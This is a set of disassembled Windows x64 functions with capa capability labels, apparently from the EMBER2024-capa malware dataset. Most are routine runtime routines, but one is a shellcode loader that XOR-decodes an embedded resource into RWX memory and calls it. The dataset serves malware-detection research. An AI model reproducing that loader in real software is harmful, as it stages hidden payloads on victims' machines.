joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b4600
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx ebx, byte [rcx]
mov rsi, rdx
mov rdi, rcx
test bl, bl
je 0x1400b46dd
mov qword [rsp + 0x30], rbp
lea rbp, [0x140000000]
nop dword [rax]
movzx edx, byte [rsi]
test dl, dl
je 0x1400b46d8
movsx eax, bl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x1400b4652
cdqe
mov ecx, dword [rbp + rax*4 + 0xb470c]
add rcx, rbp
jmp rcx
mov bl, 0x41
jmp case.default.0x1400b4652
mov bl, 0x42
jmp case.default.0x1400b4652
mov bl, 0x43
jmp case.default.0x1400b4652
mov bl, 0x44
jmp case.default.0x1400b4652
mov bl, 0x45
jmp case.default.0x1400b4652
mov bl, 0x46
jmp case.default.0x1400b4652
mov bl, 0x47
jmp case.default.0x1400b4652
mov bl, 0x48
jmp case.default.0x1400b4652
mov bl, 0x49
jmp case.default.0x1400b4652
mov bl, 0x4a
jmp case.default.0x1400b4652
mov bl, 0x4b
jmp case.default.0x1400b4652
mov bl, 0x4c
jmp case.default.0x1400b4652
mov bl, 0x4d
jmp case.default.0x1400b4652
mov bl, 0x4e
jmp case.default.0x1400b4652
mov bl, 0x4f
jmp case.default.0x1400b4652
mov bl, 0x50
jmp case.default.0x1400b4652
mov bl, 0x51
jmp case.default.0x1400b4652
mov bl, 0x52
jmp case.default.0x1400b4652
mov bl, 0x53
jmp case.default.0x1400b4652
mov bl, 0x54
jmp case.default.0x1400b4652
mov bl, 0x55
jmp case.default.0x1400b4652
mov bl, 0x56
jmp case.default.0x1400b4652
mov bl, 0x57
jmp case.default.0x1400b4652
mov bl, 0x58
jmp case.default.0x1400b4652
mov bl, 0x59
jmp case.default.0x1400b4652
mov bl, 0x5a
movzx ecx, dl
call fcn.1400b4930
cmp bl, al
jne 0x1400b46d8
movzx ebx, byte [rdi + 1]
inc rdi
inc rsi
test bl, bl
jne 0x1400b4630
mov rbp, qword [rsp + 0x30]
movzx ecx, byte [rdi]
call fcn.1400b4930
movzx ecx, byte [rsi]
movzx ebx, al
call fcn.1400b4930
mov rsi, qword [rsp + 0x40]
xor ecx, ecx
cmp bl, al
mov rbx, qword [rsp + 0x38]
sete cl
mov eax, ecx
add rsp, 0x20
pop rdi
ret
Function at 0x1400b4780
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx ebx, byte [rcx]
mov rsi, r8
mov r14, rdx
mov rdi, rcx
test bl, bl
je 0x1400b4875
lea rbp, [0x140000000]
nop word [rax + rax]
movzx edx, byte [r14]
test dl, dl
je 0x1400b4875
test rsi, rsi
je 0x1400b487a
movsx eax, bl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x1400b47ec
cdqe
mov ecx, dword [rbp + rax*4 + 0xb48bc]
add rcx, rbp
jmp rcx
mov bl, 0x41
jmp case.default.0x1400b47ec
mov bl, 0x42
jmp case.default.0x1400b47ec
mov bl, 0x43
jmp case.default.0x1400b47ec
mov bl, 0x44
jmp case.default.0x1400b47ec
mov bl, 0x45
jmp case.default.0x1400b47ec
mov bl, 0x46
jmp case.default.0x1400b47ec
mov bl, 0x47
jmp case.default.0x1400b47ec
mov bl, 0x48
jmp case.default.0x1400b47ec
mov bl, 0x49
jmp case.default.0x1400b47ec
mov bl, 0x4a
jmp case.default.0x1400b47ec
mov bl, 0x4b
jmp case.default.0x1400b47ec
mov bl, 0x4c
jmp case.default.0x1400b47ec
mov bl, 0x4d
jmp case.default.0x1400b47ec
mov bl, 0x4e
jmp case.default.0x1400b47ec
mov bl, 0x4f
jmp case.default.0x1400b47ec
mov bl, 0x50
jmp case.default.0x1400b47ec
mov bl, 0x51
jmp case.default.0x1400b47ec
mov bl, 0x52
jmp case.default.0x1400b47ec
mov bl, 0x53
jmp case.default.0x1400b47ec
mov bl, 0x54
jmp case.default.0x1400b47ec
mov bl, 0x55
jmp case.default.0x1400b47ec
mov bl, 0x56
jmp case.default.0x1400b47ec
mov bl, 0x57
jmp case.default.0x1400b47ec
mov bl, 0x58
jmp case.default.0x1400b47ec
mov bl, 0x59
jmp case.default.0x1400b47ec
mov bl, 0x5a
movzx ecx, dl
call fcn.1400b4930
cmp bl, al
jne 0x1400b4875
movzx ebx, byte [rdi + 1]
inc rdi
dec rsi
inc r14
test bl, bl
jne 0x1400b47c0
test rsi, rsi
jne 0x1400b4881
mov eax, 1
jmp 0x1400b489e
movzx ecx, byte [rdi]
call fcn.1400b4930
movzx ecx, byte [r14]
movzx ebx, al
call fcn.1400b4930
xor ecx, ecx
cmp bl, al
sete cl
mov eax, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400b4930
Capabilities:
Parse pe header

Disassembly:
movsx eax, cl
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x1400b494f
lea r8, [0x140000000]
cdqe
mov edx, dword [r8 + rax*4 + 0xb49a4]
add rdx, r8
jmp rdx
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret
movzx eax, cl
ret
Function at 0x1400b4a10
Capabilities:
Parse pe header

Disassembly:
mov r10, rcx
cmp r8, 1
jb 0x1400b4ae7
sub r10, rdx
lea r11, [0x140000000]
nop word [rax + rax]
movsx r9d, byte [rdx]
lea eax, [r9 - 0x61]
cmp eax, 0x19
ja case.default.0x1400b4a4e
cdqe
mov ecx, dword [r11 + rax*4 + 0xb4ae8]
add rcx, r11
jmp rcx
mov r9b, 0x41
jmp case.default.0x1400b4a4e
mov r9b, 0x42
jmp case.default.0x1400b4a4e
mov r9b, 0x43
jmp case.default.0x1400b4a4e
mov r9b, 0x44
jmp case.default.0x1400b4a4e
mov r9b, 0x45
jmp case.default.0x1400b4a4e
mov r9b, 0x46
jmp case.default.0x1400b4a4e
mov r9b, 0x47
jmp case.default.0x1400b4a4e
mov r9b, 0x48
jmp case.default.0x1400b4a4e
mov r9b, 0x49
jmp case.default.0x1400b4a4e
mov r9b, 0x4a
jmp case.default.0x1400b4a4e
mov r9b, 0x4b
jmp case.default.0x1400b4a4e
mov r9b, 0x4c
jmp case.default.0x1400b4a4e
mov r9b, 0x4d
jmp case.default.0x1400b4a4e
mov r9b, 0x4e
jmp case.default.0x1400b4a4e
mov r9b, 0x4f
jmp case.default.0x1400b4a4e
mov r9b, 0x50
jmp case.default.0x1400b4a4e
mov r9b, 0x51
jmp case.default.0x1400b4a4e
mov r9b, 0x52
jmp case.default.0x1400b4a4e
mov r9b, 0x53
jmp case.default.0x1400b4a4e
mov r9b, 0x54
jmp case.default.0x1400b4a4e
mov r9b, 0x55
jmp case.default.0x1400b4a4e
mov r9b, 0x56
jmp case.default.0x1400b4a4e
mov r9b, 0x57
jmp case.default.0x1400b4a4e
mov r9b, 0x58
jmp case.default.0x1400b4a4e
mov r9b, 0x59
jmp case.default.0x1400b4a4e
mov r9b, 0x5a
mov byte [r10 + rdx], r9b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400b4ae7
dec r8
jne 0x1400b4a30
ret
Function at 0x1400bb170
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x138
call qword [sym.imp.msvcrt.dll_getenv]
mov byte [rsp + 0x20], 0
test rax, rax
je 0x1400bb1b5
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x1400bb1b5
lea rcx, [rsp + 0x20]
call qword [case.0x1400a5af7.0]
add rsp, 0x138
ret
xor eax, eax
add rsp, 0x138
ret

Function at 0x1400bce00
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.DLL_CryptAcquireContextA]
test eax, eax
je 0x1400bce5c
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.DLL_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
test eax, eax
jne 0x1400bce6c
call qword [sym.imp.ADVAPI32.DLL_CryptReleaseContext]
mov eax, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ADVAPI32.DLL_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400c0850
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
xor eax, eax
test edx, edx
lea r8, [rsp + 0x38]
setne al
mov edx, 0x8004667e
mov dword [rsp + 0x38], eax
call qword [sym.imp.WSOCK32.DLL_ioctlsocket]
add rsp, 0x28
ret
Function at 0x1400c08d0
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
lea r9, [rsp + 0x68]
mov ebx, r13d
mov r15d, r13d
call qword [sym.imp.WS2_32.DLL_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x1400c0a94
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x1400c0a74
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x1400c092d
lea ebp, [rax + 0xe]
jmp 0x1400c0939
cmp eax, 0x17
jne 0x1400c09e1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x1400c09e1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400c09e1
cmp rax, rbp
jb 0x1400c09e1
mov ecx, 0x30
call qword [sub.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400c0a1c
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0x10], ebp
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.msvcrt.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x1400c0a0b
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x1400c09ce
call qword [case.0x1400a5af7.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x1400c09f0
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x1400c09de
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x1400c0920
jmp 0x1400c0a22
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [sub.msvcrt.dll_free]
mov rcx, rdi
call qword [sub.msvcrt.dll_free]
jmp 0x1400c0a22
mov rcx, rdi
mov r14d, 8
call qword [sub.msvcrt.dll_free]
jmp 0x1400c0a22
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x1400c0a37
call qword [sym.imp.WS2_32.DLL_freeaddrinfo]
test r14d, r14d
je 0x1400c0a6f
test rbx, rbx
je 0x1400c0a6a
mov rcx, qword [rbx + 0x20]
call qword [sub.msvcrt.dll_free]
mov rcx, qword [rbx + 0x18]
call qword [sub.msvcrt.dll_free]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [sub.msvcrt.dll_free]
mov rbx, rdi
test rdi, rdi
jne 0x1400c0a41
mov rbx, r13
jmp 0x1400c0a83
test rbx, rbx
jne 0x1400c0a83
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WSOCK32.DLL_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
mov eax, r14d
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret
Function at 0x1400c2a60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rdi, r8
cmp dword [rcx + 8], 2
mov rsi, rdx
jne 0x1400c2aaa
mov rax, qword [rbx + 0x18]
test rax, rax
jne 0x1400c2a9a
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rcx + 0x10]
mov edx, 1
mov rcx, rsi
call rax
jmp 0x1400c2af4
cmp qword [rbx + 0x10], 0
jne 0x1400c2adf
mov rcx, qword [rcx + 0x10]
lea rdx, [0x1400df7b4]
call qword [sym.imp.msvcrt.dll_fopen]
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x1400c2adf
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rbx + 0x10]
mov r8, rdi
mov edx, 1
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_fread]
mov rdi, rax
test rax, rax
jne 0x1400c2b18
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400c2b0f
call qword [sym.imp.msvcrt.dll_fclose]
mov qword [rbx + 0x10], rdi
mov rax, qword [rbx]
mov rcx, qword [rax]
mov qword [rbx], rcx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, rdi
add rsp, 0x20
pop rdi
ret

Function at 0x1400c4d20
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov byte [rcx], 0
mov edx, ebx
call qword [sym.imp.WSOCK32.DLL_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x1400c4d5a
lea edx, [rax + 0x2e]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
je 0x1400c4d58
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400c70a0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
mov r14, rdx
add rax, 0x18
add rcx, rax
call qword [sub.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400c70e2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400c7125
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + 8]
mov r14d, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add r14, qword [rdi + 0x10]
mov rcx, r14
call qword [rbx + 0x10]
mov ebp, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400c7181
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + 8]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
mov r8d, 1
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 0x10]
call qword [rbx + 8]
dec rbp
jne 0x1400c7140
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400c71c3
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400ec702]
mov r8d, 1
call qword [rbx + 8]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400ec703]
mov r8d, 1
call qword [rbx + 8]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400c7190
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
jmp 0x1400117c0
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1d0], rax
lea rcx, [0x1400210a2]
call fcn.140011375
lea rax, [rbp + 8]
lea rcx, [0x140019c28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x38], 0
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x140011846
mov eax, 1
jmp 0x140011958
mov rdx, qword [rbp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
jne 0x140011867
mov eax, 1
jmp 0x140011958
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x78], rax
mov rdx, qword [rbp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x94], eax
mov eax, dword [rbp + 0x94]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xd8], rax
mov eax, dword [rbp + 0x94]
mov r8d, eax
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0xb8]
call fcn.1400111ae
mov dword [rbp + 0xf4], 0
jmp 0x1400118eb
mov eax, dword [rbp + 0xf4]
inc eax
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0x94]
cmp dword [rbp + 0xf4], eax
jae 0x14001194c
movsxd rax, dword [rbp + 0xf4]
mov qword [rbp + 0x1c8], rax
movsxd rcx, dword [rbp + 0xf4]
xor edx, edx
mov rax, rcx
mov ecx, 0xf
div rcx
mov rax, rdx
movzx eax, byte [rbp + rax + 8]
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x1c8]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 0xf4]
mov rdx, qword [rbp + 0xd8]
mov byte [rdx + rcx], al
jmp 0x1400118dd
call qword [rbp + 0xb8]
jmp 0x140011956
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140019c00]
call fcn.140011307
mov rax, rdi
mov rcx, qword [rbp + 0x1d0]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014170
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014190
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400141a3
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400141cd
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400141e1
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400141f3
xor al, al
jmp 0x140014211
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001420f
xor al, al
jmp 0x140014211
mov al, 1
add rsp, 0x38
ret
Function at 0x1400bae79
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x14010d8c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x14010d8e8
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x14010d932
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14010d8dd
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1400bc517
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140164770
mov rax, rcx
neg rcx
test rax, 7
je 0x14016478d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1401647e8
test al, 7
jne 0x140164780
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1401647a1
mov rdx, qword [rax - 8]
test dl, dl
je 0x140164812
test dh, dh
je 0x14016480c
shr rdx, 0x10
test dl, dl
je 0x140164806
test dh, dh
je 0x140164800
shr rdx, 0x10
test dl, dl
je 0x1401647fa
test dh, dh
je 0x1401647f4
shr edx, 0x10
test dl, dl
je 0x1401647ee
test dh, dh
jne 0x1401647a1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400bc54e
Capabilities:
Query environment variable

Disassembly:
jmp 0x140214600
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140214180
lea rcx, [rsp + 0x20]
call fcn.1402141d0
movzx eax, al
test eax, eax
jne 0x140214645
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1402141b0
mov rax, qword [rsp + 0x40]
jmp 0x14021473f
lea rcx, [rsp + 0x20]
call fcn.1402142d0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140214270
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400bc8c8
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400bbeb9
lea rcx, [rsp + 0x28]
call fcn.1400bcd96
movzx eax, al
test eax, eax
jne 0x1402146df
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1400be254
lea rcx, [rsp + 0x20]
call fcn.1402141b0
mov rax, qword [rsp + 0x50]
jmp 0x14021473f
lea rcx, [rsp + 0x20]
call fcn.1402142d0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1400bf212
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400bc80a
lea rcx, [rsp + 0x28]
call fcn.1400bfb77
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1400be254
lea rcx, [rsp + 0x20]
call fcn.1402141b0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400bca67
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140162620
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140161fa0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14016265f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402ad020]
jmp 0x140162669
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400bccba
Capabilities:
Query environment variable

Disassembly:
jmp 0x140214350
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140214180
lea rcx, [rsp + 0x40]
call fcn.140214300
movzx eax, al
test eax, eax
jne 0x140214398
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1402141b0
mov rax, qword [rsp + 0x70]
jmp 0x140214569
lea rcx, [rsp + 0x40]
call fcn.1402142d0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140214270
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1402142d0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400bde76
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14021443e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1402141b0
mov rax, qword [rsp + 0x80]
jmp 0x140214569
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400bc8c8
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400bc6b1
lea rcx, [rsp + 0x48]
call fcn.1400bc0df
movzx eax, al
test eax, eax
jne 0x1402144a5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400bacee
lea rcx, [rsp + 0x40]
call fcn.1402141b0
mov rax, qword [rsp + 0x88]
jmp 0x140214569
lea rcx, [rsp + 0x48]
call fcn.1400bd1b5
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1402142d0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400bde76
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14021453b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400bacee
lea rcx, [rsp + 0x40]
call fcn.1402141b0
